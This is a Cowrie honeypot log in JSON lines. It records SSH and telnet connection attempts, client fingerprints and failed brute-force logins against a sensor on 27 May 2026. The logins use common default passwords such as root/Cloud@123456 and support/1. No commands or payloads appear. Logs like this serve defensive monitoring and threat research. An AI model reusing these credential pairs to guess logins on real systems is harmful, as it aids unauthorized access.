{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:57.168138Z","src_ip":"180.243.191.141","session":"248c1d823c65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":44268,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c919ba2cb3b","protocol":"telnet","message":"New connection: 186.55.200.230:44268 (159.203.135.109:23) [session: 8c919ba2cb3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:59.514103Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.72.139","src_port":39664,"dst_ip":"10.17.0.5","dst_port":22,"session":"76a7eb24d25e","protocol":"ssh","message":"New connection: 50.116.72.139:39664 (10.17.0.5:22) [session: 76a7eb24d25e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:02.632133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:02.645219Z","src_ip":"50.116.72.139","session":"76a7eb24d25e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:02.674623Z","src_ip":"50.116.72.139","session":"76a7eb24d25e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tung","password":"tung","message":"login attempt [tung/tung] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:02.818509Z","src_ip":"50.116.72.139","session":"76a7eb24d25e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:03.848441Z","src_ip":"50.116.72.139","session":"76a7eb24d25e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.70771503448486,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:08.374800Z","src_ip":"180.235.129.180","session":"7cfe7ee1dacd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.182.78","src_port":32946,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffead2e4ce78","protocol":"ssh","message":"New connection: 160.251.182.78:32946 (159.203.135.109:22) [session: ffead2e4ce78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:20.685827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:20.692694Z","src_ip":"160.251.182.78","session":"ffead2e4ce78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:20.869531Z","src_ip":"160.251.182.78","session":"ffead2e4ce78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazQAZ123!@#","message":"login attempt [root/qazQAZ123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:21.608027Z","src_ip":"160.251.182.78","session":"ffead2e4ce78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:22.788346Z","src_ip":"160.251.182.78","session":"ffead2e4ce78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00371479988098,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:24.903345Z","src_ip":"95.86.136.87","session":"44ebba9a8b00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.86.136.87","src_port":63730,"dst_ip":"10.17.0.5","dst_port":23,"session":"8228635051dc","protocol":"telnet","message":"New connection: 95.86.136.87:63730 (10.17.0.5:23) [session: 8228635051dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:26.276208Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":43202,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ff922fe7dd2","protocol":"ssh","message":"New connection: 171.244.141.86:43202 (10.17.0.5:22) [session: 4ff922fe7dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:31.091840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:31.096602Z","src_ip":"171.244.141.86","session":"4ff922fe7dd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:31.367379Z","src_ip":"171.244.141.86","session":"4ff922fe7dd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud@123456","message":"login attempt [root/Cloud@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:32.363787Z","src_ip":"171.244.141.86","session":"4ff922fe7dd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:33.608840Z","src_ip":"171.244.141.86","session":"4ff922fe7dd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.243.191.141","src_port":20029,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f2ed24fd351","protocol":"ssh","message":"New connection: 180.243.191.141:20029 (10.17.0.5:22) [session: 0f2ed24fd351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:54.470253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:54.475755Z","src_ip":"180.243.191.141","session":"0f2ed24fd351","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:54.741339Z","src_ip":"180.243.191.141","session":"0f2ed24fd351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testuser","message":"login attempt [test/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:55.812306Z","src_ip":"180.243.191.141","session":"0f2ed24fd351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:18:57.085467Z","src_ip":"180.243.191.141","session":"0f2ed24fd351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":40812,"dst_ip":"159.203.135.109","dst_port":22,"session":"25b5281087d9","protocol":"ssh","message":"New connection: 186.233.118.22:40812 (159.203.135.109:22) [session: 25b5281087d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:00.122792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:00.129601Z","src_ip":"186.233.118.22","session":"25b5281087d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:00.258182Z","src_ip":"186.233.118.22","session":"25b5281087d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"1234","message":"login attempt [mcserver/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:00.767607Z","src_ip":"186.233.118.22","session":"25b5281087d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:01.899878Z","src_ip":"186.233.118.22","session":"25b5281087d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.246.14.196","src_port":34472,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b8ca8066af0","protocol":"ssh","message":"New connection: 186.246.14.196:34472 (159.203.135.109:22) [session: 0b8ca8066af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:07.038276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:07.043495Z","src_ip":"186.246.14.196","session":"0b8ca8066af0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:07.207913Z","src_ip":"186.246.14.196","session":"0b8ca8066af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"1","message":"login attempt [support/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:07.917532Z","src_ip":"186.246.14.196","session":"0b8ca8066af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:09.081151Z","src_ip":"186.246.14.196","session":"0b8ca8066af0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.72.139","src_port":51866,"dst_ip":"10.17.0.5","dst_port":22,"session":"14bb61632dd2","protocol":"ssh","message":"New connection: 50.116.72.139:51866 (10.17.0.5:22) [session: 14bb61632dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:12.542637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:12.547825Z","src_ip":"50.116.72.139","session":"14bb61632dd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:12.573846Z","src_ip":"50.116.72.139","session":"14bb61632dd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud@123456","message":"login attempt [root/Cloud@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:12.708649Z","src_ip":"50.116.72.139","session":"14bb61632dd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:13.737841Z","src_ip":"50.116.72.139","session":"14bb61632dd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.238.2","src_port":41040,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c9768fb8edf","protocol":"ssh","message":"New connection: 45.165.238.2:41040 (10.17.0.5:22) [session: 8c9768fb8edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:38.311471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:38.316970Z","src_ip":"45.165.238.2","session":"8c9768fb8edf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:38.448037Z","src_ip":"45.165.238.2","session":"8c9768fb8edf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tung","password":"tung","message":"login attempt [tung/tung] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:39.000297Z","src_ip":"45.165.238.2","session":"8c9768fb8edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:40.134191Z","src_ip":"45.165.238.2","session":"8c9768fb8edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0064685344696,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:19:49.344936Z","src_ip":"186.55.200.230","session":"6e05c19bb779","protocol":"telnet"}
